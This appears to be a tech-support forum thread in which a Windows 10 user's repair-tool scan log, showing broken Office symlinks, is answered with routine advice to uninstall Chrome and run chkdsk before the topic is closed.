┌────────────────────────────────────────────────────────────────────────────────┐
│ Tweaking.com - Windows Repair v3.8.7 - Pre-Scan
│ Computer: DIRK-V2 (Windows 10 Home 10.0.10586 ) (64-bit)
│ [Started Scan - 5/7/2016 4:04:28 PM]
└────────────────────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────────────────────┐
│ Scanning Windows Packages Files.
│ Started at (5/7/2016 4:04:28 PM)
│
│ No problems were found with the Packages Files.
│
│ Files Checked & Verified: 8,178
│
│ Done Scanning Windows Packages Files.(5/7/2016 4:14:24 PM)
└────────────────────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────────────────────┐
│ Scanning Reparse Points.
│ Started at (5/7/2016 4:14:24 PM)
│
Reparse Point: (Type: SYMLINK) (Name: AppvIsvStream64.dll) (Original Path: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\AppvIsvStream64.dll) (Target Path: C:\Program Files\Common Files\Microsoft Shared\ClickToRun\Updates\16.0.6366.2056\AppvIsvStream64.dll) (Creation Time: 1/15/2016 4:34:20 PM)
Target Path doesn't exist!

Reparse Point: (Type: SYMLINK) (Name: AppvIsvSubsystems64.dll) (Original Path: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\AppvIsvSubsystems64.dll) (Target Path: C:\Program Files\Common Files\Microsoft Shared\ClickToRun\Updates\16.0.6366.2056\AppvIsvSubsystems64.dll) (Creation Time: 1/15/2016 4:34:20 PM)
Target Path doesn't exist!

Reparse Point: (Type: SYMLINK) (Name: C2R64.dll) (Original Path: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\C2R64.dll) (Target Path: C:\Program Files\Common Files\Microsoft Shared\ClickToRun\Updates\16.0.6366.2056\C2R64.dll) (Creation Time: 1/15/2016 4:34:20 PM)
Target Path doesn't exist!

│ Problems were found with the Reparse Points.
│ You can use the Repair Reparse Points Tool at the bottom of this Window to try and fix these problems.
│
│ Files & Folders Searched: 288,323
│ Reparse Points Found: 103
│
│ Done Scanning Reparse Points.(5/7/2016 4:19:59 PM)
└────────────────────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────────────────────┐
│ Checking Environment Variables.
│ Started at (5/7/2016 4:19:59 PM)
│
│ This folder in the 'Path' variable doesn't exist:
│
│ Problems were found with the Environment Variables.
│ You can use the Repair Environment Variables Tool at the bottom of this Window to try and fix these problems.
│
│ Done Checking Environment Variables. (5/7/2016 4:19:59 PM)
└────────────────────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────────────────────┐
│ [Finished Scan - 5/7/2016 4:19:59 PM]
│
│ [x] Scan Complete - Problems Found!
│ [x]
│ [x] You can use the Repair Reparse Points or Repair Environment Variables tools at the bottom of this Window if needed.
│ [x]
│ [x] While problems have been found, you can still run the repairs in the program.
│ [x] But for the best results it is recommended to fix the problems reported in this scan if possible.
│ [x] If you need help fixing any of the items in the log, just post in the forums at Tweaking.com for help.

[Juliet]

What do I need to specifically worry about as far as personal information being hacked right now?

What logs are showing is not related to security on your machine but rather system errors. Not sure if I can correct those but will give it an attempt.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By chance, was this a Windows 10 download over Windows 7 or 8?

~~~~~~~~~~~~~~~~~~~
It's been mentioned to uninstall Google Chrome, then reboot.

Backup Chrome Bookmarks


Please download and install Revo Uninstaller Free

• Double click Revo Uninstaller to run it.
• From the list of programs double click on The Program to remove Google
• When prompted if you want to uninstall click Yes.
• Be sure the Moderate option is selected then click Next.
• The program will run, If prompted again click Yes
• when the built-in uninstaller is finished click on Next
• Once the program has searched for leftovers click Next.
• Check/tick the bolded items only on the list then click Delete
• when prompted click on Yes and then on next.
• put a check on any folders that are found and select delete
• when prompted select yes then on next
• Once done click Finish.

~~~~~~~~~~~~~~~`
Chkdks /r
click start and type CMD. Right click the menu entry that appears and choose 'run as administrator'. Click continue at the UAC prompt. From the command line, run/ type

chkdsk c: /r

Hit <enter> and follow the prompts.

If the above Chkdks doesn't work on Windows 10 then just skip it.

reboot the machine.

[Juliet]

Glad we could help.

Since this issue appears resolved ... this Topic is closed.